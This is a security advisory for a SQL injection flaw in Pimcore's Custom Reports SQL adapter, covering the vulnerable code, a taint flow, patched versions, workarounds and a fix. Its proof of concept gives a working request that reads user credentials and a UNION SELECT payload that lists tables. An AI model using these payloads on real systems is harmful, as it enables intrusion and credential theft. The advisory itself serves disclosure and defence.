Pimcore: SQL Injection in Custom Reports via Malicious Report Configuration

Security Advisory: SQL Injection in Custom Reports via Malicious Report Configuration

Summary

Impact

A SQL injection vulnerability exists in the Custom Reports bundle (bundles/CustomReportsBundle/src/Tool/Adapter/Sql.php:84-135). An authenticated attacker with reports_config permission can inject arbitrary SQL via the report configuration fields (sql, from, where, groupby), which are directly concatenated into SQL queries without parameterization. The only protection is a regex blacklist that checks for ALTER|CREATE|DROP|RENAME|TRUNCATE|UPDATE|DELETE keywords, which is trivially bypassable — it does not block INSERT, UNION SELECT, LOAD_FILE(), INTO OUTFILE, stacked queries, subqueries, or MySQL comment injection (/*!*/). Exploitation allows reading, modifying, or deleting all data in the database, leading to complete data compromise.

Additionally, the LIMIT clause at line 51 directly interpolates $offset and $limit without integer casting, creating a secondary injection point.

Patches

Versions 2026.1.6, 12.3.10, 11.5.19.

Workarounds

1. Restrict reports_config permission to only highly trusted administrators
2. Deploy a WAF rule to block requests to /admin/bundle/customreports/custom-report/update containing SQL keywords in the configuration parameter
3. Replace the custom SQL adapter with a parameterized query builder approach

Attack Path (Validation Evidence)

[Entry Point] POST /admin/bundle/customreports/custom-report/update HTTP/1.1
    ↓ (requires reports_config permission + valid admin session)
[Controller] CustomReportController::updateAction()
    ↓  $configuration = decodeJson($request->request->getString('configuration'))
[Config Store] Configuration saved to custom_reports database table
[Config Load] Tool\Config::getByName() loads stdClass $config from DB
    ↓
[Adapter] Sql::getBaseQuery() → Sql::buildQueryString($config)
    ↓  Directly concatenates config fields:
[Vulnerable] $sql .= "\n" . $config['sql'];        // Line 92
            $sql .= "\n" . $config['from'];        // Line 103
            $sql .= "\n" . 'WHERE (' . $config['where'] . ')'; // Line 110
            $sql .= "\n" . $config['groupby'];     // Line 117
[Weak Guard] preg_match('/(ALTER|CREATE|DROP|RENAME|TRUNCATE|UPDATE|DELETE)\s/i', ...)
    ↓  ✗ Bypassable — missing INSERT, UNION, SELECT, subqueries, comments
[Execution] $db->fetchAllAssociative($sql);        // Line 54
    ↓
[Impact] Arbitrary SQL execution — full database compromise

Taint Flow (Validation Evidence)

Source: $request->request->getString('configuration')  (HTTP POST body, user-controlled)
    ↓  json_decode() → stdClass
[Store]  Persistent in database (custom_reports table)
[Load]   Config::getByName() → stdClass $config
    ↓  ✗ No sanitization (only bypassable regex blacklist)
[Sink]   $db->fetchAllAssociative($concatenatedSql)
    ↓
Impact: Attacker-controlled SQL executed against the database

Proof of Concept

Steps

1. Authenticate as an admin user with reports_config permission
2. Send a report update request with malicious SQL in the configuration:

Request

POST /admin/bundle/customreports/custom-report/update HTTP/1.1
Host: <target-host>
Content-Type: application/x-www-form-urlencoded
Cookie: PHPSESSID=<valid_admin_session>

name=malicious_report&configuration=%7B%22sql%22%3A%22SELECT%20id%2C%20username%2C%20password%20FROM%20users%22%2C%22from%22%3A%22users%22%2C%22where%22%3A%221%3D1%22%2C%22groupby%22%3A%22%22%2C%22dataSourceConfig%22%3A%7B%7D%7D

3. Access the report data endpoint to retrieve extracted user credentials
4. Alternatively, the where field can be set to:

   1=1 UNION SELECT TABLE_NAME, TABLE_SCHEMA, 1 FROM INFORMATION_SCHEMA.TABLES

   to enumerate all database tables

Expected Result

The custom report returns rows from arbitrary tables beyond what was intended, proving successful SQL injection.

Affected Component

• File: bundles/CustomReportsBundle/src/Tool/Adapter/Sql.php
• Method: buildQueryString() (lines 84-135), getBaseQuery() (lines 137-216), getData() (lines 25-58)
• Class: Pimcore\Bundle\CustomReportsBundle\Tool\Adapter\Sql

Fix Recommendation

Replace the custom SQL concatenation approach with a parameterized query builder:

// Instead of:
$sql .= "\n" . $config['sql'];
$sql .= "\n" . $config['from'];
$sql .= "\n" . 'WHERE (' . $config['where'] . ')';

// Use a whitelist-based approach:
// 1. Only allow predefined table names from a whitelist
// 2. Use Doctrine QueryBuilder for WHERE conditions
// 3. Use parameterized queries for all user-supplied values
// 4. Cast LIMIT/OFFSET to integers

$sql .= ' LIMIT ' . (int)$offset . ',' . (int)$limit;

Resources

• CWE-89: SQL Injection
• OWASP SQL Injection Prevention Cheat Sheet